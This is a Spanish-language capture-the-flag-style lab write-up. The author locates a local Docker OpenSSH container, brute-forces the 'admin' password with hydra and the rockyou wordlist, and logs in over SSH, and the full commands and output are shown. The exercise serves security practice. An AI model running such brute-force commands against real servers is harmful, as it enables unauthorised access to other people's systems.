Reto 4 ciberseguridad

Primero validamos que este corriendo el contenedor en docker con el servicio SSH con el comando “docker ps -a”

```
┌──(kali㉿kali)-[~/Desktop/cybersecurity/Docker-reto-4]
└─$ docker ps -a
CONTAINER ID   IMAGE                                  COMMAND   CREATED       STATUS          POR
TS                                  NAMES
d1a16e803d21   lscr.io/linuxserver/openssh-server:latest   "/init"   4 hours ago   Up 13 minutes   0.0
.0.0:2222→2222/tcp, :::2222→2222/tcp   openssh-server
```

Luego procedemos a obtener la información de la dirección Ip del contenedor

```
┌──(kali㉿kali)-[~/Desktop/cybersecurity/Docker-reto-4]
└─$ docker inspect -f "{{.NetworkSettings.IPAddress}}" d1a16e803d21
172.17.0.2
```

Teniendo conocimiento de la dirección Ip (172.17.0.2), el puerto donde está ejecutándose(2222), y el usuario (“admin”) utilizamos la herramienta de fuerza bruta **hydra** para encontrar la contraseña.

Nos ubicamos en la ruta “/usr/share/wordlists/” que contiene el diccionario rockyou.txt y ejecutamos el comando “hydra ‘direccion_ip’ ssh -l ‘usuario’ -P rockyou.txt -s ‘puerto’”

```
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ hydra 172.17.0.2 ssh -l admin -P rockyou.txt -s 2222
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
 illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-07 15:34:20
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:2222/
[STATUS] 146.00 tries/min, 146 tries in 00:01h, 14344256 to do in 1637:29h, 13 active
[2222][ssh] host: 172.17.0.2   login: admin   password: smokey
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-07 15:37:03
```

Nos arroja como contraseña válida “smokey”y para probar si es la contraseña correcta

```
┌──(kali㉿kali)-[~/Desktop/cybersecurity/Docker-reto-4]
└─$ ssh -p 2222 admin@172.17.0.2
admin@172.17.0.2's password:
Welcome to OpenSSH Server
blindma1den-ssh:~$ ls
logs  ssh_host_keys  sshd.pid
blindma1den-ssh:~$
```

Y así podemos acceder al servidor.